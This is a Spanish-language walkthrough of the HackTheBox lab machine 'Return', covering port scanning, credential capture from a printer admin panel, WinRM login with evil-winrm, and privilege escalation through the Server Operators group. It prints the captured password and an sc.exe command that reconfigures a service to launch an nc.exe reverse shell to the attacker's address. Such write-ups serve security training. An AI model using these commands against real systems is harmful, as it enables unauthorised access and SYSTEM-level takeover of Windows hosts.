# Return

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FcEmmEeM3M7Ue7ZgWtrnD%2Fimage.png?alt=media&#x26;token=93d83d25-468d-48f3-9d68-bad91de7ffdf" alt=""><figcaption></figcaption></figure>

Return es una caja de dificultad fácil basada en impresoras de la plataforma HackTheBox. Esta vez abusaremos del panel de administración web de una impresora para obtener las credenciales de SMB, que también se pueden usar para WinRM. La cuenta está en el grupo Server Operators, lo que le permite modificar, iniciar y detener servicios. Abusaré de esto para obtener un shell como System.&#x20;

### Reconocimiento

#### NMAP

Comenzamos enumerando los servicios abiertos que tiene la máquina.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fmw7CYNrnPa6jgXZrEF8i%2Fimage.png?alt=media&#x26;token=6fb0bfbd-c5f9-4fe1-90aa-989f5448de17" alt=""><figcaption></figcaption></figure>

```
sudo nmap -p- --open -vvv -Pn -n --min-rate 2000 10.10.11.108
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FiJVrY0AJ0f1PDTLSOItI%2Fimage.png?alt=media&#x26;token=181474b2-f3c2-4d81-950f-99c74332d356" alt=""><figcaption></figcaption></figure>

Una vez realizado un escaneo rápido de los servicios abiertos, volvemos a hacer otro escaneo más profundo de los servicios abiertos.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FnHCrDaAYefyI4Cj5Xxkj%2Fimage.png?alt=media&#x26;token=c8da2832-e950-40fc-b061-e67d3eba13f4" alt=""><figcaption></figcaption></figure>

```
sudo nmap -p80,88,389,593,636,3268,5985,9389,47001,49664,49666,49667,49671,49674,49675,49679,49682,49694 -sV -vv 10.10.11.108
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F6Z6vsbHnXJ5QOlWz8Tle%2Fimage.png?alt=media&#x26;token=2a7908ca-9fe8-4a31-bf35-8de303f235fe" alt=""><figcaption></figcaption></figure>

La conclusión principal es que se trata de una máquina con Windows que se encuentra dentro de un dominio de Active Directory .

Ya tenemos versiones de los servicios abiertos y el nombre de un dominio. Vamos a registrarlo en el archivo /etc/hosts.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F8Zk7rQ9y69IJaWt3QKoE%2Fimage.png?alt=media&#x26;token=ee7cd33f-7a5b-4f58-8d40-c6983d65552d" alt=""><figcaption></figcaption></figure>

#### RECONOCIMIENTO WEB

Tenemos abierto el puerto 80 que está ejecutando un servidor web Microsoft IIS, así que vamos a verificar su contenido.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZTZzOKcdwP9PTrG9URrn%2Fimage.png?alt=media&#x26;token=c0610fa7-0418-401e-90dd-00bb12899617" alt=""><figcaption></figcaption></figure>

Los únicos enlaces que funcionan son las páginas de Inicio y Configuración. Vamos a la página de Configuración, a ver su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F3z0sPa475VjwBQ9f6V4A%2Fimage.png?alt=media&#x26;token=6c139746-d8db-4e85-b763-a8caebd6bef2" alt=""><figcaption></figcaption></figure>

Muestra lo que parece ser una página de configuración para una impresora. Nos dan un nombre de un usuario de svc-printer pero no su contraseña.&#x20;

La contraseña está codificada, pero tenemos la capacidad de cambiar la dirección del servidor. Vamos a capturar la contraseña dirigiendo la dirección del servidor a un oyente nc.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F8iwGSiSsOebLjeDRfNKv%2Fimage.png?alt=media&#x26;token=4cf9591f-0b00-4edd-8eee-32516cbe5494" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNX5CVzlkb5HRdM2azSjq%2Fimage.png?alt=media&#x26;token=b1f9766c-a4e9-4310-96c7-0a6f5b676117" alt=""><figcaption></figcaption></figure>

Tenemos una contraseña 1edFg43012!!

#### ENUMERACIÓN SMB

Como tenemos nombre de usuario y contraseña, vamos a comprobar si tenemos acceso a SMB. Esto podemos comprobarlo con CrackMapExec.

```
crackmapexec smb 10.10.11.108 -u svc-printer -p '1edFg43012!!'
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F00yyJmydq6wGMPTLVOE6%2Fimage.png?alt=media&#x26;token=659595d5-4b70-49a3-bcb1-45b4e2ed5ae5" alt=""><figcaption></figcaption></figure>

Vamos a comprobar también si tenemos acceso mediante WinRM.

<pre><code><strong>crackmapexec winrm 10.10.11.108 -u svc-printer -p '1edFg43012!!'
</strong></code></pre>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FogsdFWvzvh6CxVqUgs0K%2Fimage.png?alt=media&#x26;token=455cf87a-f9b2-45e1-bb7b-8872f39da6ce" alt=""><figcaption></figcaption></figure>

También tenemos acceso mediante el protocolo WinRM. \*Necesario tener abierto el puerto 5985.

Vamos a acceder a la máquina objetivo aprovechando que está disponible el protocolo WinRM, y tenemos las credenciales.

### Acceso mediante usuario svc-printer

Vamos a utilizar Evil-WinRM para entablar una shell revresa utilizando las credenciales obtenidas y el protocolo WinRM.

```
evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FlpsZAAbC25up8wrpPhfJ%2Fimage.png?alt=media&#x26;token=bad504ea-2c47-4d43-bbb7-f67811a7b636" alt=""><figcaption></figcaption></figure>

Vamos a por la flag user.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7z02q1z91ZQPOZpaZGbL%2Fimage.png?alt=media&#x26;token=87550f46-88e4-4442-9b6e-ae61130b0bd0" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Vamos a ver que privilegios tiene este usuario.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FMdD8OTIGKMEMOlLPpWUX%2Fimage.png?alt=media&#x26;token=0fd96f08-c165-48bb-8127-029f44b3bc30" alt=""><figcaption></figcaption></figure>

Comprobamos también a que grupos pertenece el usuario svc-printer.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fcwy4ZcV4QZNFeUany12S%2Fimage.png?alt=media&#x26;token=7db58723-de9a-47f7-a8e6-86293c1a4d54" alt=""><figcaption></figcaption></figure>

Somos parte del grupo de Server Operators, lo que significa que tenemos control sobre los servicios que se ejecutan dentro de la máquina.

Este usuario puede modificar, iniciar y detener servicios. Si logramos editar un servicio y hacer que ejecute un netcat para nuestro oyente, obtendremos un shell como ntauthority\system.&#x20;

Así que vamos a empezar cargando el nc.exe en C:\Windows\Temp:&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FeNof5E3VUVAXEUm0Barr%2Fimage.png?alt=media&#x26;token=bb74a53a-4741-44d7-897a-6d2b110dccfc" alt=""><figcaption></figcaption></figure>

A continuación creamos el servicio que podemos detener e iniciar para ejecutarlo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FYVgQ1KPuYJATW8uJKRyj%2Fimage.png?alt=media&#x26;token=36e0c6af-abb8-4a10-ba69-afc9e1849e03" alt=""><figcaption></figcaption></figure>

<pre><code><strong>sc.exe config VMTools binpath="C:\Windows\Temp>nc.exe -e cmd 10.10.16.1 4444"
</strong></code></pre>

A continuación, vamos a detener y reiniciar el servicio.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FPCLZiBmaZfsTFqF4gdhn%2Fimage.png?alt=media&#x26;token=e6d899f3-ec9f-418a-a6da-d9f51cd34d29" alt=""><figcaption></figcaption></figure>

Al mismo tiempo, pondremos a la escucha un oyente en el puerto 4444.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FJC1vzlDizbhjTERZP12n%2Fimage.png?alt=media&#x26;token=33752037-93aa-461b-9300-83ece12db6d3" alt=""><figcaption></figcaption></figure>

Próxima parada, buscar la flag root.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F2rAAESuFM62qucXGDjE1%2Fimage.png?alt=media&#x26;token=9f473f29-e502-4988-9913-c9042ba3c417" alt=""><figcaption></figcaption></figure>

\*Ojo al tiempo para buscar la flag root, el servicio se desconecta al par de minutos de iniciar.&#x20;

Esto sería todo. Tenemos resuelta la máquina CTF Return de Hack The Box.

{% embed url="<https://youtu.be/J6SMZMkGuZA>" %}

###
